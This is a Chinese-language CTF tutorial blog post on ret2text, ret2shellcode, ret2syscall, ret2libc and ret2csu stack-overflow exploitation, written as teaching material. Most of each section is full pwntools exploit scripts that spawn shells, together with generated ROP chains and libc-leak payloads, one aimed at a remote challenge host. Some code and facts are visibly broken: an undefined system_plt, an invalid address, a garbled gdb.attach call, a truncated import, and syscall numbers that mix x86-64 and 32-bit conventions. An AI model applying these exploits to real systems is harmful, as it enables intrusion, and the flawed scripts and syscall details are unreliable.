其实 这周末我原本是不想写文章的 主要是放假了但是 我想往常一样登录了百度站长。。。。 我去!!!!! 我的文章被索引了!!!! 所以呢 我决定多更新点文章出来 而且最近不是有人说看不懂吗 我觉得更新一些可以让人懂的一些东西 但是今天 我还决定把Ret2讲完 本次教学节选于星梦安全团队在Bilibili上发表的视频 部分转载于https://www.anquanke.com/post/id/205858#h2-2
url为 https://www.bilibili.com/video/BV1Uv411j7fr?p=9
所有内容作者手打(除了一些代码部分)如有错误请指出 如有侵权请联系本文作者
本次题目的下载链接: 题目.rar
0x01 什么是ret2xx 在此本文中 RET2xxx泛指的是ret2text, ret2shellcode, ret2syscall,ret2libc,ret2csu 其中 ret2代表着因为中的”return to” 的谐音 也就是我们可以从字面意思上知道 我们会利用类似我们上节课学到的利用eip指针的方法 来获取到权限 而其中 有很多种方法来做到
ROP 1 2 3 4 5 6 [*] '/home/retr0/Examples/overflow' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
随着时代的进步 关于栈的安全知识也越来越普及 其中 随着NX保护的开发 直接在Buffer中注入代码的方式已经被淘汰了 而现在比较流行的是ROP方法 也就是 Return Oriented Programming 说到ROP ROP其实指的就是通过修改Gadgets的ret结尾的指令顺序 来实施攻击 有的时候 我们会结合几段gadget 进行攻击 对于需要完成ROP攻击 我们需要一些的条件:
程序存在栈溢出 可以控制返回地址
可以找到满足条件的gadgets 而且知道gadgets的地址但是如果地址不是固定的 比如说开了NX 我们就得知道每次调试时的地址 别担心 我们可以配合gdb使用 其中 如果我们需要多次使用漏洞 可以利用多个gadget配合做出漏洞利用
0x02 ret2text 什么是ret2text ret2text, 说白了就是对于.text节的利用 我们会使用几个程序中已有的代码来进行攻击
进程存在危险函数如system(“/bin”)或execv(“/bin/sh”,0,0)的片段,可以直接劫持返回地址到目标函数地址上。从而getshell。
题目解析 jarvisoj_level2 首先我们Checksec
我们的题目
1 2 3 4 5 6 [*] '/home/retr0/CTF/ret2xx/Qs/level2/level2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
我们可以看到 这个程序是开启了Nx的 那么我们知道Nx保护是的基本原理是将数据所在内存页标识为不可执行 当程序溢出成功转入shellcode时 程序会尝试在数据页面上执行指令 此时CPU就会抛出异常 而不是去执行恶意指令 但是 这些暂时不重要 我们先扔进IDA看一下
伪代码如下:
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf; system("echo Input:" ); return read(0 , &buf, 0x100 u); }
构造思路 我们可以看到 这里有一个很明显的栈溢出漏洞 其中 Read的值已经超过了buf的值 并且 这里也存在system函数和bin/sh字符串 那么 我们就可以构思攻击了首先 我们首先需要填充缓存区0x88(因为溢出) 之后 我们需要在覆盖4个字符来覆盖ebp 然后 我们要函数返回值为system函数 紧接着 我们要填充函数调用的返回地址 (‘c’ 4)如果你需要 可以一直执行main函数*最后 我们只需要调整system函数的参数为bin/sh 就结束了
编写exp exp代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *file_path='./level2' context(binary=file_path,os='linux' ,terminal = ['tmux' , 'sp' , '-h' ]) glibc_version="2.23" _debug_=1 elf = ELF(file_path) p = remote('node3.buuoj.cn' ,28124 ) libc = ELF('../libc/u16/x86libc-2.23.so' ) main_addr = 0x08048413680 binsh = 0x0804A024 payload = 'a' * 136 + 'b' *4 + p32(system_plt).decode('unicode_escape' ) +p32(main_addr).decode('unicode_escape' ) + p32(binsh).decode('unicode_escape' ) gdb.attach('b' * 134513790 ) p.sendafter('Input' ,payload) p.interactive()
(可能会有点Bug 请谅解)
题目解析 jarvisojlevel2 X86 这一题其实和上一题的区别就是这一题是64位的 而其中 漏洞的形成原因也差不多但是 64位系统函数调用传参优先使用寄存器 rdi rsi rdx rcx r8 r9 而且当参数大于6个使用栈 具体可以参考http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。 参数个数大于 7 个的时候 H(a, b, c, d, e, f, g, h); a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9 h->8(%esp) g->(%esp) call H
构造思路
我们的思路是 前面几乎一样 之后首先设置返回地址为system函数 再通过pop rdi;ret设置rdi的值为/bin/sh字符串 对了 这里忘记说了 /bin/sh 是 Linux 默认的Shell目录(应该是的)
那么问题就来了 我们如何找到 pop rdi; ret? 其实 方法很多 但是这里分享两个方案:
ROPgadgets 什么是ROPgadgets
This tool lets you search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF/PE/Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS architectures. Since the version 5, ROPgadget has a new core which is written in Python using Capstone disassembly framework for the gadgets search engine - The older version can be found in the Archives directory but it will not be maintained.
这个工具可以让你在二进制文件上搜索你的小工具,以方便你的ROP开发。ROPgadget支持x86、x64、ARM、ARM64、PowerPC、SPARC和MIPS架构的ELF/PE/Mach-O格式。自版本5以来,ROPgadget有了一个新的核心,它是用Python编写的,使用Capstone反汇编框架的小工具搜索引擎
我们可以使用ROPgadgets先获取程序中的Gadget 之后再grep
搜索 指令是ROPgadget --binary level2_x64 | grep 'pop rdi'
结果如下:
1 x00000000004006b3 : pop rdi ; ret
Ropper Ropper也是一个很好的搜索gadgets工具 他的语法如下:
1 2 3 4 5 6 7 8 usage: ropper [-h] [--help-examples] [-v] [--console] [-f <file> [<file> ...]] [-r] [-a <arch>] [--section <section>] [--string [<string>]] [--hex] [--asm [<asm> [H|S|R] [<asm> [H|S|R] ...]]] [--disasm <opcode>] [--disassemble-address <address:length>] [-i] [-e] [--imagebase] [-c] [-s] [-S] [--imports] [--symbols] [--set <option>] [--unset <option>] [-I <imagebase>] [-p] [-j <reg>] [--stack-pivot] [--inst-count <n bytes>] [--search <regex>] [--quality <quality>] [--opcode <opcode>] [--instructions <instructions>] [--type <type>] [--detailed] [--all] [--cfg-only] [--chain <generator>] [-b <badbytes>] [--nocolor] [--clear-cache] [--no-load] [--analyse <quality>] [--semantic constraint] [--count-of-findings <count of gadgets>] [--single]
其中 我们可以使用他的search
功能来寻找我们需要的gadgets 代码如下:ropper --file level2_x64 --search "pop rdi"
反馈如下:
1 2 3 4 5 6 7 [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi [INFO] File: level2_x64 0x00000000004006b3: pop rdi; ret;
编写exp 代码主体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import file_path='./level2_x64' context(binary=file_path,os='linux' ,terminal = ['tmux' , 'sp' , '-h' ]) glibc_version="2.23" _debug_=1 elf = ELF(file_path) if _debug_: pwn_file="/glibc/%s/64/lib/ld-%s.so --library-path /glibc/%s/64/lib/ %s" %(glibc_version,glibc_version,glibc_version,file_path) p = process(pwn_file.split()) libc = ELF('/glibc/%s/64/lib/libc-%s.so' %(glibc_version,glibc_version)) else : p = remote('node3.buuoj.cn' ,28124 ) libc = ELF('../libc/u16/x86libc-2.23.so' ) system_plt = elf.plt['system' ] pop_rdi_ret = 0x00000000004006b3 binsh = 0x600A90 payload = b'a' *0x80 +b'b' *8 payload += p64(pop_rdi_ret)+p64(binsh) payload += p64(system_plt) p.sendafter('Input:' ,payload) p.interactive()
对 就是这样了
0x03 ret2shellcode ret2shellcode 即控制程序执行 shellcode 代码 shellcode 指的是用于完成某个功能的汇编代码 常见的功能主要是获取目标系统的 shell 一般来说 shellcode 需要我们自己填充
解析题目 jarvisoj_level1 那么我们拿到例题后 首先Checksec
1 2 3 4 5 6 7 [*] '/home/retr0/CTF/ret2xx/Qs/jarvisoj_level1/level1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments #可读可写段
之后 我们再放入IDA中
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf; printf ("What's this:%p?\n" , &buf); return read(0 , &buf, 0x100 u); }
我们可以看到 read存在栈溢出 那么 我们就可以开始构造思路了
构造思路 好了 这里我就不多简绍了 知道基本的思路后 我们就可以开始编写exp了 但是 值得注意的是 buff的地址在一开始就给我们了 所以不需要解析地址之类的
EXP编写 exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *file_path='level1' context(binary=file_path,os='linux' ,terminal = ['tmux' , 'sp' , '-h' ]) p = process("level1" ) p.recvuntil("What's this:" ) buf = int (p.recv(10 ),16 ) shellcode = asm(shellcraft.sh()) payload = shellcode payload = payload.ljust(0x88 +4 ,b'a' ) + p32(buf) p.send(payload) p.interactive()
0x04 retsyscall retsyscall 顾名思义 是指通过系统调用来得到shell】 在上节课 我们学到过关于系统调用的知识 我们在关于Shellcode的课上有所提及过
[post cid=”27” cover=”https://blog.johnw1ck.com/img/shellcode.jpg"/ ]
而今天 我们在回顾一遍关于中断的知识
知识点:我们可以通过触发中断(int 0x80
或者syscall
)进行系统调用 原理如下
用户进程在执行系统调用前,先把系统调用名(实际上是系统调用号)、输入参数等放到寄存器上(EBX,ECX等寄存器) 然后发出int 0x80指令,即触发xxx号中断 系统暂停用户进程,根据xxx号中断找到中断服务程序,这个程序名就叫system_call() system_call()接着执行。它会从寄存器中找到系统调用名、输入参数等,并根据系统调用上下文中找到引发系统调用的进程;执行完毕后它又会把输出结果放到寄存器中。 系统恢复用户进程,进程从寄存器中取到自己想要的东西,然后继续执行。
解析题目 inndy_rop 还是像往常一样 先 gdb
后 Checksec
结果如下:
1 2 3 4 5 6 7 pwndbg> checksec [*] '/home/retr0/CTF/ret2xx/Qs/inndy_rop/inndy_rop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
伪代码如下:(overflow函数)
1 2 3 4 5 6 int overflow () {char v1; return gets(&v1);}
在这里 gets 函数是一定存在栈溢出的 因为会直到读到0x0A
这此因为讲到是需要使用系统调用的 所以咱们也file一下
1 2 retr0@DESKTOP-RS7CEJ9:~/CTF/ret2xx/Qs/inndy_rop$ file inndy_rop inndy_rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped
我们可以看到 这次的题目是静态编译的 所以会存在像 int 0x80这样的系统调用
之后 我们先看一下系统调用的一张表 详细可以去https://publicki.top/syscall.html来看 这里 我们主要看这两个
NR
syscall name
references
arg0 (%ebx)
arg1 (%ecx)
arg2 (%edx)
arg3 (%esi)
arg4 (%edi)
arg5 (%ebp)
0
read
man/cs/
0x00
unsigned int fd
char *buf
size_t count
-
-
59
execve
man/cs/
0x0b
const char const argv
const char const envp
-
-
-
构造思路 我们可以看到这里 比如说read 需要修改eax寄存器为0x03 而 ebx为fd 还要设置地址和长度 所以这里 我们的思路就有了
Exp构造 不多说 先放Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *file_path='./inndy_rop' context(binary=file_path,os='linux' ,terminal = ['tmux' , 'sp' , '-h' ]) p = process('./inndy_rop' ) int_80_ret = 0x0806F430 pop_eax_ret = 0x080b8016 pop_ebx_ret = 0x080481c9 pop_ecx_ret = 0x080de769 pop_edx_ret = 0x0806ecda bss = 0x80e9000 payload = b'a' *0xc +b'b' *4 payload += p32(pop_eax_ret)+p32(0x3 ) payload += p32(pop_ebx_ret)+p32(0x0 ) payload += p32(pop_ecx_ret)+p32(bss+0x100 ) payload += p32(pop_edx_ret)+p32(0x8 ) payload += p32(int_80_ret) payload += p32(pop_eax_ret)+p32(0xb ) payload += p32(pop_ebx_ret)+p32(bss+0x100 ) payload += p32(pop_ecx_ret)+p32(0 ) payload += p32(pop_edx_ret)+p32(0 ) payload += p32(int_80_ret) p.sendline(payload) print (payload)sleep(1 ) p.sendline('/bin/sh\x00' ) p.interactive()
生产的payload的是b’aaaaaaaaaaaabbbb\x16\x80\x0b\x08\x03\x00\x00\x00\xc9\x81\x04\x08\x00\x00\x00\x00i\xe7\r\x08\x00\x91\x0e\x08\xda\xec\x06\x08\x08\x00\x00\x000\xf4\x06\x08\x16\x80\x0b\x08\x0b\x00\x00\x00\xc9\x81\x04\x08\x00\x91\x0e\x08i\xe7\r\x08\x00\x00\x00\x00\xda\xec\x06\x08\x00\x00\x00\x000\xf4\x06\x08’
自动生成 ROPchain 但是 问题又又来了 如果每次这样编写那要多麻烦? 没关系 其实。。。。 可以自动生成 哈哈哈对于静态编译的程序 我们可以使用ROPgadgets或者ropper生成ropchain
Ropper ropper --file inndy_rop --chain execveropper --file inndy_rop --chain execve
回馈结果:(你会发现和上面的一样)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] ROPchain Generator for syscall execve: [INFO] write command into data section eax 0xb ebx address to cmd ecx address to null edx address to null [INFO] Try to create chain which fills registers without delete content of previous filled registers [*] Try permuation 1 / 24 [INFO] Look for syscall gadget [INFO] syscall gadget found [INFO] generating rop chain #!/usr/bin/env python # Generated by ropper ropchain generator # from struct import pack p = lambda x : pack('I', x) IMAGE_BASE_0 = 0x08048000 # 487729c3b55aaec43deb2af4c896b16f9dbd01f7e484054d1bb7f24209e2d3ae rebase_0 = lambda x : p(x + IMAGE_BASE_0) rop = '' rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret; rop += '//bi' rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret; rop += rebase_0(0x000a2060) rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret; rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret; rop += 'n/sh' rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret; rop += rebase_0(0x000a2064) rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret; rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret; rop += p(0x00000000) rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret; rop += rebase_0(0x000a2068) rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret; rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret; rop += rebase_0(0x000a2060) rop += rebase_0(0x00096769) # 0x080de769: pop ecx; ret; rop += rebase_0(0x000a2068) rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret; rop += rebase_0(0x000a2068) rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret; rop += p(0x0000000b) rop += rebase_0(0x00027430) # 0x0806f430: int 0x80; ret; print rop [INFO] rop chain generated!
ROPgadgets 命令:ROPgadget --binary inndy_rop --ropchain
(会加载一段时间 别担心 那不是ROPchain代码) 回馈代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 ROP chain generation =========================================================== - Step 1 -- Write-what-where gadgets [+] Gadget found: 0x8050cc5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret [+] Gadget found: 0x8048433 pop esi ; ret [+] Gadget found: 0x8048480 pop edi ; ret [-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r' [+] Gadget found: 0x805466b mov dword ptr [edx], eax ; ret [+] Gadget found: 0x806ecda pop edx ; ret [+] Gadget found: 0x80b8016 pop eax ; ret [+] Gadget found: 0x80492d3 xor eax, eax ; ret - Step 2 -- Init syscall number gadgets [+] Gadget found: 0x80492d3 xor eax, eax ; ret [+] Gadget found: 0x807a66f inc eax ; ret - Step 3 -- Init syscall arguments gadgets [+] Gadget found: 0x80481c9 pop ebx ; ret [+] Gadget found: 0x80de769 pop ecx ; ret [+] Gadget found: 0x806ecda pop edx ; ret - Step 4 -- Syscall gadget [+] Gadget found: 0x806c943 int 0x80 - Step 5 -- Build the ROP chain #!/usr/bin/env python2 # execve generated by ROPgadget from struct import pack # Padding goes here p = '' p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b8016) # pop eax ; ret p += '/bin' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b8016) # pop eax ; ret p += '//sh' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de769) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0806c943) # int 0x80
多么的贴心?!把步骤都给你写好了
0x05 ret2libc ret2libc即控制函数的执行libc中的函数,通常是返回至某个函数的plt 处或者函数的具体位置(即函数对应的got 表项的内容)。一般情况下,我们会选择执行system(“/bin/sh”),故而此时我们需要知道system函数的地址
对于ret2libc 我们首先需要知道什么是libc
libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。这个库可以根据 头文件划分为 15 个部分,其中包括:字符类型 ()、错误码()、 浮点常数 ()、数学常数 ()、标准定义 ()、 标准 I/O ()、工具函数 ()、字符串操作 ()、 时间和日期 ()、可变参数表 ()、信号 ()、 非局部跳转 ()、本地信息 ()、程序断言 ()
也就是说 libc中存放的都是使用过的函数 字符串等 那么如何查询libc呢可以通过ldd [文件名查询libc文件] libc的漏洞利用思路基本如下
题目解析 jarvisoj_level1 在ret2shellcode中 我们已经做了关于本题目的分析
那么我们拿到例题后 首先Checksec
1 2 3 4 5 6 7 [*] '/home/retr0/CTF/ret2xx/Qs/jarvisoj_level1/level1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments #可读可写段
之后 我们再放入IDA中
ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h]
printf(“What’s this:%p?\n”, &buf); return read(0, &buf, 0x100u); }
思路 (最后是利用栈溢出来执行system函数) 还有记住 利用libc查询(ldd)查询当前文件使用的libc
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *file_path='./level1' context(binary=file_path,os='linux' ,terminal = ['tmux' , 'sp' , '-h' ]) glibc_version="2.23" _debug_=1 elf = ELF(file_path) if _debug_: pwn_file="/glibc/%s/32/lib/ld-%s.so --library-path /glibc/%s/32/lib/ %s" %(glibc_version,glibc_version,glibc_version,file_path) p = process(pwn_file.split()) libc = ELF('/glibc/%s/32/lib/libc-%s.so' %(glibc_version,glibc_version)) else : p = remote('node3.buuoj.cn' ,28124 ) libc = ELF('../libc/u16/x86libc-2.23.so' ) su = lambda desp,value:success(desp+' => ' +(hex (value) if type (value)==int else str (value))) ru = lambda delim :p.recvuntil(delim) rv = lambda count=1024 ,timeout=0 :p.recv(count,timeout) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) ss = lambda data :p.send(data) ssa = lambda delim,data :p.sendafter(delim, data) u64leak=lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\0' )) u64leak2=lambda :u64(p.recv(6 ).ljust(8 ,b'\0' )) write_plt = elf.plt['write' ] read_got = elf.got['read' ] main_addr = 0x080484B7 payload = b'A' *0x88 +b'B' *0x4 +p32(write_plt)+p32(main_addr)+p32(1 )+p32(read_got)+p32(4 ) p.sendafter("?" ,payload) p.recvuntil('\n' ) read_addr = u32(p.recv(4 )) log.success("read_addr:{}" .format (hex (read_addr))) libc_base = read_addr - libc.symbols['read' ] system = libc_base+libc.symbols['system' ] binsh = libc_base + next (libc.search(b'/bin/sh' )) log.success("libc_base:{}" .format (hex (libc_base))) log.success("system:{}" .format (hex (system))) log.success("binsh:{}" .format (hex (binsh))) payload2 = b'A' *0x88 +b'B' *0x4 +p32(system)+p32(main_addr)+p32(binsh) p.send(payload2) p.interactive()
嗯嗯 就是这样 如果还有像学习关于libc的话 我有时间再出一次教程
0x06 ret2csu
在64 位程序中,函数的前6个参数是通过寄存器传递的 但是大多数时候 我们很难找到每一个寄存器对应的gadgets 这时候 我们可以利用 x64下的 __libc_csu_init 中的 gadgets 这个函数是用来对 libc 进行初始化操作的 而一般的程序都会调用libc 函数 所以这个函数一定会存在
也就是说 其实 ret2csu和利用libc的思路一样 都是包含的指令来达到目标
首先 我们先打开例题 Level5
ret2csu的灵魂之处体现在 gadget2 利用 gadget1 准备的数据来控制edi、rsi、rdx和控制跳转任意函数
例题解析 level5 首先checksec
1 2 3 4 5 6 7 pwndbg> checksec [*] '/home/retr0/CTF/ret2xx/Qs/level5_x64/level5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
发现只开了NX保护 其他都没开
漏洞函数 1 2 3 4 5 6 ssize_t vulnerable_function () { char buf; return read (0 , &buf, 0x200 uLL); }
使用objdump -d ./level5 -M intel
命令 有csu:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 00000000004005a0 <__libc_csu_init>: 4005a0: 48 89 6c 24 d8 mov QWORD PTR [rsp-0x28],rbp 4005a5: 4c 89 64 24 e0 mov QWORD PTR [rsp-0x20],r12 4005aa: 48 8d 2d 73 08 20 00 lea rbp,[rip+0x200873] # 600e24 <__init_array_end> 4005b1: 4c 8d 25 6c 08 20 00 lea r12,[rip+0x20086c] # 600e24 <__init_array_end> 4005b8: 4c 89 6c 24 e8 mov QWORD PTR [rsp-0x18],r13 4005bd: 4c 89 74 24 f0 mov QWORD PTR [rsp-0x10],r14 4005c2: 4c 89 7c 24 f8 mov QWORD PTR [rsp-0x8],r15 4005c7: 48 89 5c 24 d0 mov QWORD PTR [rsp-0x30],rbx 4005cc: 48 83 ec 38 sub rsp,0x38 4005d0: 4c 29 e5 sub rbp,r12 4005d3: 41 89 fd mov r13d,edi 4005d6: 49 89 f6 mov r14,rsi 4005d9: 48 c1 fd 03 sar rbp,0x3 4005dd: 49 89 d7 mov r15,rdx 4005e0: e8 1b fe ff ff call 400400 <_init> 4005e5: 48 85 ed test rbp,rbp 4005e8: 74 1c je 400606 <__libc_csu_init+0x66> 4005ea: 31 db xor ebx,ebx 4005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0] 4005f0: 4c 89 fa mov rdx,r15 4005f3: 4c 89 f6 mov rsi,r14 4005f6: 44 89 ef mov edi,r13d 4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 4005fd: 48 83 c3 01 add rbx,0x1 400601: 48 39 eb cmp rbx,rbp 400604: 75 ea jne 4005f0 <__libc_csu_init+0x50> 400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8] 40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10] 400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18] 400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20] 40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28] 40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30] 400624: 48 83 c4 38 add rsp,0x38 400628: c3 ret 400629: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
1 2 3 4 5 6 7 8 400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8] //rsp + 8 赋值给了rbx 40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10] //rsp + 8 赋值给了rbp 400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18] 400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20] 40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28] 40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30] 400624: 48 83 c4 38 add rsp,0x38 400628: c3 ret
这里可以看到rbx、rbp、r12、r13、r14、r15 可以由栈上rsp偏移+0x8 、+0x10、+0x20、+0x28、+0x30来决定
1 2 3 4 4005f0: 4c 89 fa mov rdx,r15 4005f3: 4c 89 f6 mov rsi,r14 4005f6: 44 89 ef mov edi,r13d 4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
可以看到我们的rdx、rsi、edi 可以由r15、r14、r13低32位来控制,call 由r12+rbx*8来控制,而这些值恰恰是我们gadget1可以控制的值
我们可以得知 read存在栈溢出 程序也没有后门函数 & /bin/sh 字符串 而且几乎也没有什么可以利用的 gadgets 所以 我们只能利用csu中的数据来控制edi、rsi、rdx和控制跳转任意函数
思路构造 思路:利用ret2csu
1.write(1,write_got,8)泄露libc
2.read(0,bss,16)写入system地址和/bin/sh字符串
3.system(‘/bin/sh’) getshell
exp构造 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *file_path='./level5' context(binary=file_path,os='linux' ,terminal = ['tmux' , 'sp' , '-h' ]) p = process(file_path) elf = ELF(file_path) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) main_addr = 0x400564 write_got = elf.got['write' ] read_got = elf.got['read' ] gadget1 = 0x400606 gadget2 = 0x4005F0 bss_addr = 0x601028 payload1 = b'A' *0x80 +b'B' *8 payload1 += p64(gadget1) payload1 += p64(0 ) payload1 += p64(0 ) payload1 += p64(1 ) payload1 += p64(write_got) payload1 += p64(1 ) payload1 += p64(write_got) payload1 += p64(8 ) payload1 += p64(gadget2) payload1 += b'\x00' *0x38 payload1 += p64(main_addr) p.sendafter('Hello, World\n' ,payload1) write_addr = u64(p.recv(8 )) libc_base = write_addr - libc.sym['write' ] system_addr = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search(b'/bin/sh' )) success("libc_base:{}" .format (hex (libc_base))) success("system_addr:{}" .format (hex (system_addr))) success("binsh:{}" .format (hex (binsh))) payload2 = b'A' *0x80 +b'B' *8 payload2 += p64(gadget1) payload2 += p64(0 ) payload2 += p64(0 ) payload2 += p64(1 ) payload2 += p64(read_got) payload2 += p64(0 ) payload2 += p64(bss_addr) payload2 += p64(16 ) payload2 += p64(gadget2) payload2 += b'\x00' *0x38 payload2 += p64(main_addr) p.sendafter('Hello, World\n' ,payload2) sleep(1 ) p.send(p64(system_addr)+b'/bin/sh\x00' ) sleep(1 ) payload3 = b'A' *0x80 +b'B' *8 payload3 += p64(gadget1) payload3 += p64(0 ) payload3 += p64(0 ) payload3 += p64(1 ) payload3 += p64(bss_addr) payload3 += p64(bss_addr+8 ) payload3 += p64(0 ) payload3 += p64(0 ) payload3 += p64(gadget2) payload3 += b'\x00' *0x38 payload3 += p64(main_addr) p.sendafter('Hello, World\n' ,payload3) p.interactive()
0x07 总结 ret2XX是根据ROP的gadgets的来源进行分类 。
1.ret2text是利用程序本身的gadgets
2.ret2shellcode是利用输入的shellcode
3.ret2syscall是利用syscall的gadgets
4.ret2libc是利用libc当中存在的gadgets
5.ret2csu是程序编译时存在的gadget具有通用性
嗯嗯 好了 今天的w1cky Time就这样结束了 我们下期再见